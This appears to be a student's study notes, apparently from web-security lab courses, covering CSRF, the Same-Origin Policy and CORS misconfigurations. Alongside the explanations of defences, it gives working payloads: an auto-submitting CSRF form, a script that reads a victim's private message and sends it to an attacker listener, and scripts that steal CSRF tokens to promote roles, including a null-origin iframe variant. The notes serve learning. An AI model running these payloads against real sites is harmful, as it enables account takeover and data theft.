CSRF
Cross-site request forgery (also known as CSRF).
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application. It can cause a victim to carry out a payload and unintended action, like changing email address or changing passwords. Tree conditions needed:
A relevevant action: Like changen email or password
Cookie-based sessions
No unpredictable request parameters like value of a password.
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]
Based on this we can create a simple web page or use https://csrf-poc-generator.vercel.app/
<html>
<head>
<title>CSRF-2</title>
</head>
<body>
<form action="https://0a2200ad04963c7981de6661005c00c2.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This wil change the user's emailaddress and can be delivered like
<img src="https://vulnerable-website.com/email/[email protected]">
Common flaws in CSRT tokens
Apps might validate tokens in POST requests but not in GET requests.
Remove parameter and value, could bypass validation.
Sometimes tokens not checked to which users its linked. Accepts any valid token.
CSRF Defenses
CSRF token: A unique random value included in requests to prevent unauthorized changes. It must unpredictable, checked by backend and not sent in cookies.
HTTP Headers: Webapps can check HTTP Headers like
Origin
orReferer
to block cross origin requests.SameSite cookies: Cookie settings that controls whether cookies are sent with cross-origin requests, helping to block CSRF attacks.
Samesite=lax
us used most and cookie is sent wwith safe cross-origin request.
Same-Origin Policy
The Same-Origin policy is a security mechanism implemented in web browsers to prevent cross-origin access to websites. In particular, JavaScript code running on one origin cannot access a different origin.
origin = scheme (http
or https
) + host (example.com
) + port (:80
, :443
, etc.). So all parts have to match with SOP.
CORS
CORS (Cross-Origin Resource Sharing) lets a server allow exceptions to the Same-Origin Policy by using special response headers.
Access-Control-Allow-Origin
Which origins can access the resource
Access-Control-Allow-Methods
Which HTTP methods are allowed (e.g. GET, POST)
Access-Control-Allow-Headers
Which request headers are allowed
1. Simple Requests
For basic requests (like GET, HEAD, or POST with simple content types), the browser sends the request as usual.
If the server allows it, it puts a special header in its response:
Access-Control-Allow-Origin: http://mysite.com
If this header matches the site making the request, the browser lets the page see the response.
2. Preflighted Requests
If your request uses special methods (like PUT or DELETE) or custom headers (like Content-Type: application/json), the browser sends a preflight request first.
This is an OPTIONS request to the server asking, “Can I make this request?”
The server must reply with headers saying which methods, headers, and origins are allowed.
CORS Misconfigurations
CORS misconfigurations can make web applications vulnerable. If a server sets the wrong CORS headers, attackers may get access to sensitive data or perform actions as a logged-in user.
✔️ Most attacks require that the Access-Control-Allow-Credentials
header is set to true

The Access-Control-Allow-Origin
header contains the origin, which is allowed to bypass the Same-Origin policy.
Sometimes a website lets users login from different subdomains but is not checking the url's properly so that the example.com would allow sub.example.com but malsite.example.com.
// we can send this to get private-message component.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cors-misconfigs.htb/profile.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
var doc = new DOMParser().parseFromString(xhr.response, 'text/html');
var msg = encodeURIComponent(doc.getElementById('private-message').innerHTML);
location = 'https://10.10.14.157:4443/log?data=' + btoa(msg);
};
xhr.send();
</script>
Bypass CSRF tokens
If CORS settings are bad we can get around the Same-Origin Policy and read data from other sites. We can request a CSRF token and to things as that user like chaning roles. But the sites cookie must have:
SameSite=None
(allows sending cookies across sites)Secure
(cookie only sent over HTTPS)
Look if the value in GET request in Origin header is reflected. This CORS misconfiguration can be exploited with the SameSite=None
cookie attribute.

This POST request shows a csrf_token, so to perform role promotion in this case we need to get a valid CSRF token of the victim.
<script>
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>
null value
If finding a null value at the Access-Control-Allow-Origin we can null
origin for any cross-origin request.

Get an administrator CSRF token using XSS. Payload must be in a sandboxed iframe to supply a null origin.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);
// do CSRF
var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf_token=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
</script>"></iframe>
Last updated
Was this helpful?